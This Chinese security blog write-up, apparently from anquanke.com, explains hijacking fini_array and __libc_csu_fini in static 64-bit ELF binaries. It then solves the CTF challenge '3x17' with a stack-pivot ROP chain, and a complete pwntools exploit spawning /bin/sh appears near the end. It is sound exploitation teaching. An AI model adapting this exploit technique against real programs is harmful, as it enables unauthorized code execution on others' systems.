前言
在64位的静态程序当中,除了ret2syscall
,又碰到了静态程序的万能gadget————fini
,fini
是个什么东西呢?回想之前的《main真的是函数入口吗?》,在程序进入和退出都会调用函数来帮忙初始化和善后,它们分别是__libc_csu_init
和__libc_csu_fini
,后者就是今天我们要谈论的函数。
原理 用《main真的是函数入口吗?》里面exit
的demo
:
1 2 3 4 5 6 7 8 9 #include <stdio.h> int main (void ) { printf ("welcome to exit\n" ); exit (0 ); return 1 ; }
IDA打开直接定位__libc_cus_fini
函数,里面有三条语句特别的关键:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 .text:0000000000401910 __libc_csu_fini proc near ; DATA XREF: _start+F↑o .text:0000000000401910 ; __unwind { .text:0000000000401910 push rbp .text:0000000000401911 lea rax, __gettext_germanic_plural .text:0000000000401918 lea rbp, _fini_array_0 .text:000000000040191F push rbx .text:0000000000401920 sub rax, rbp .text:0000000000401923 sar rax, 3 .text:0000000000401927 sub rsp, 8 .text:000000000040192B test rax, rax .text:000000000040192E jz short loc_401946 .text:0000000000401930 lea rbx, [rax-1] .text:0000000000401934 nop dword ptr [rax+00h] .text:0000000000401938 .text:0000000000401938 loc_401938: ; CODE XREF: __libc_csu_fini+34↓j .text:0000000000401938 call qword ptr [rbp + rbx*8] .text:000000000040193C sub rbx, 1 .text:0000000000401940 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000401944 jnz short loc_401938 .text:0000000000401946 .text:0000000000401946 loc_401946: ; CODE XREF: __libc_csu_fini+1E↑j .text:0000000000401946 add rsp, 8 .text:000000000040194A pop rbx .text:000000000040194B pop rbp .text:000000000040194C jmp _term_proc .text:000000000040194C ; } // starts at 401910 .text:000000000040194C __libc_csu_fini endp
注意下面三条语句,它将是我们利用的关键,通过理解__libc_csu_fini
的执行流程,可以总结出它是先将_fini_array_0
这个数组的地址赋值给rbp
,之后通过call
来调用,那它是怎么调用的呢?下面展示动调的过程。
1 2 3 .text:0000000000401918 lea rbp, _fini_array_0 .text:0000000000401938 call qword ptr [rbp + rbx*8] .text:0000000000401944 jnz short loc_401938
在__libc_csu_fini
下断点,c
之后步入之后来到0x401938
,可以看到它正常的调用了_fini_array_0
,调用返回之后会将sub rbx, 1
(此前rbx
的值为1
),再往下就是cmp rbx, 0FFFFFFFFFFFFFFFFh
,这里显然不等于,并触发跳转,程序又回到了刚刚的位置再一次call qword ptr [rbp + rbx*8]
,需要注意的是这次的call
索引的值不同了,之后rbx
减1
,未能触发跳转,看完动调的过程,我们总结一下它执行的流程为_fini_array[1] -> _fini_array[0]
。
知道了它的执行流程之后,那么怎么去利用它呢?并且_fini_array[1]
和_fini_array[0]
里面到底存的是什么呢?我们可以objdump
看一下fini_array
这个数组存放的位置,再用gdb
来看看fini_array
里面到底存的是什么?
1 2 3 4 5 6 7 8 9 ➜ test objdump -h ./exit ./exit: 文件格式 elf64-x86-64 节: Idx Name Size VMA LMA File off Algn 16 .fini_array 00000010 00000000006b6150 00000000006b6150 000b6150 2**3 CONTENTS, ALLOC, LOAD, DATA
在下图可以看到_fini_array[0] => __do_global_dtors_aux
和 _fini_array[1] => fini
, 那我们如果改_fini_array[0]
是不是就能劫持控制流了?答案是肯定的!
劫持_fini_array[0] 修改main真的是函数入口吗?
里面exit
的demo
为下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> void hack (void ) { printf ("welcome to hacker world\n" ); } int main (void ) { printf ("welcome to exit\n" ); exit (0 ); return 1 ; }
还是在__libc_csu_fini
下断点,修改_fini_array[0]
的值为hack
函数的地址,再按下c
的时候,我们已经成功的打印了welcome to hacker world\n
!!!这里修改的只是hack
函数的地址,那如果是one_gadget
或者是shellcode
的地址,你应该能猜到会发生什么。
1 2 3 pwndbg> p hack $2 = {<text variable, no debug info>} 0x400b6d <hack> pwndbg> set {int}0x6b6150=0x400b6d
可遗憾的是,只有一些特定的情况才能像上面那样利用,接下来将介绍更通用的情况:
__libc_csu_fini的循环 既然它会循环调用,那不然就让它一直循环吧!我们将_fini_array[1]
改成某个函数的地址(下面都称它为A),同时再把_fini_array[0]
改成__libc_csu_fini
的地址,由于它每次call
完_fini_array[0]
都回到__libc_csu_fini
函数的开头,所以ebx
永远都不会等于-1
,那么程序的执行流将变成下面这个样子:
1 __libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> fini_array[1]:addrA -> fini_array[0]:__libc_csu_fini -> .....
除非把fini_array[0]
覆盖成其他的值,否则它将一直循环到天荒地老,那么这么循环到底有什么用呢?答:进行ROP攻击,我们可以在fini_array+0x10
布置ROP,然后再将栈迁移到这里,最终实现我们的目的!讲的再多不如来道题目看看~
题目 3x17 题目链接
打开IDA就得知这是一个静态的64位的程序,下面的checksec
就开了NX
:
1 2 3 4 5 6 ➜ checksec 3x17 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序去了符号,经过之前对_start
函数的学习很容易知道main
函数的位置,找到_start
之后,__libc_start_main
的第一个参数就是main
函数地址:
下面就是main
函数,部分函数已经通过分析加上了符号,程序的逻辑很简单,就是读入一个地址,然后再这个地址上写数据,但只可以写0x18
的大小
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 sub_401B6D () { __int64 result; char *v1; char buf[24 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { sys_write(1u , "addr:" , 5uLL ); sys_read(0 , buf, 0x18 uLL); v1 = (char *)(int )sub_40EE70((__int64)buf); sys_write(1u , "data:" , 5uLL ); sys_read(0 , v1, 0x18 uLL); result = 0LL ; } if ( __readfsqword(0x28 u) != v3 ) error(); return result; }
首先肯定是考虑前面说到的一种做法,修改_fini_array[0]
为one_gadget
或者是shellcode
的地址,再或者是其他可拿shell
的函数,shellcode
读不进去,栈地址也不能泄露,可拿shell
的函数也没有,那one_gadget
呢?由于程序是静态的,所以只能在程序本身里面寻找,答案很显然,没有….
1 2 ➜ one_gadget 3x17 [OneGadget] ArgumentError: File "/home/laohu/Documents/pwn/others/3x17_fini prix/3x17" doesn't contain string "/bin/sh", not glibc?
那么就是第二种做法了,让__libc_csu_fini
循环起来,仔细想想如果循环的地址设置成main
,会发生什么?它会使byte_4B9330
疯狂加1
,同时它是unsigned __int8
类型的变量,疯狂加1
会使它整数溢出,所以它总有加到1
的时候,一旦它的值为1
,我们就有了一次任意地址读的机会,这样就可以循环读入我们的ROP
,每次都能读0x18
的大小,按照理论来说我们就可以把ROP
读到任何地方,但这里只讨论劫持fini_array
,通过objdump
来得到fini_array
地址:
1 2 3 4 5 6 7 8 ➜ objdump -h ./3x17 ./3x17: 文件格式 elf64-x86-64 节: Idx Name Size VMA LMA File off Algn 15 .fini_array 00000010 00000000004b40f0 00000000004b40f0 000b30f0 2**3 CONTENTS, ALLOC, LOAD, DATA
写入的位置选在fini_array+0x10
,那…为什么是这个位置呢?回到刚刚的写ROP
,我们写入了ROP
,那必然要把esp
指过去,对不对?那肯定是要用到栈迁移,那写完ROP
之后,再次覆盖_fini_array[1]
实现栈迁移就会是下面这个场景:
1 2 3 4 5 6 (ebp = 0x4b40f0) call qword ptr [rbp + rbx*8] <0x401580> ↓ mov rsp,rbp ;rsp => 0x4b40f0 pop ebp ;rsp => 0x4b40f8 ret ;rsp => 0x4b4100
此时,rsp
的值已经到0x4b4100
这个位置,那我们只要在此处布置好ROP+
栈迁移,等待ret
返回,就可以劫持控制流了!
1 2 3 4 5 6 7 8 9 10 11 write(esp,p64(pop_rax)) write(esp+8 ,p64(exe_call)) write(esp+16 ,p64(pop_rdi)) write(esp+24 ,p64(bin_sh_addr)) write(esp+32 ,p64(pop_rdx)) write(esp+40 ,p64(0 )) write(esp+48 ,p64(pop_rsi)) write(esp+56 ,p64(0 )) write(esp+64 ,p64(syscall)) write(bin_sh_addr,"/bin/sh\x00" ) write(fini_array,p64(leave_ret))
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.log_level = 'debug' elf = ELF('3x17' ) io = process('3x17' ) fini_array = 0x4B40F0 main_addr = 0x401B6D libc_csu_fini = 0x402960 leave_ret = 0x401C4B exe_call = 0x3b esp = 0x4B4100 syscall = 0x471db5 pop_rax = 0x41e4af pop_rdx = 0x446e35 pop_rsi = 0x406c30 pop_rdi = 0x401696 bin_sh_addr = 0x4B4200 def write (addr,data ): io.recv() io.send(str (addr)) io.recv() io.send(data) write(fini_array,p64(libc_csu_fini)+p64(main_addr)) write(esp,p64(pop_rax)) write(esp+8 ,p64(exe_call)) write(esp+16 ,p64(pop_rdi)) write(esp+24 ,p64(bin_sh_addr)) write(esp+32 ,p64(pop_rdx)) write(esp+40 ,p64(0 )) write(esp+48 ,p64(pop_rsi)) write(esp+56 ,p64(0 )) write(esp+64 ,p64(syscall)) write(bin_sh_addr,"/bin/sh\x00" ) write(fini_array,p64(leave_ret)) io.interactive()
参考链接: https://www.freebuf.com/articles/system/226003.html
https://www.mrskye.cn/archives/2a024e
本文由12138 原创发布 转载,请参考转载声明 ,注明出处: https://www.anquanke.com/post/id/254520 安全客 - 有思想的安全新媒体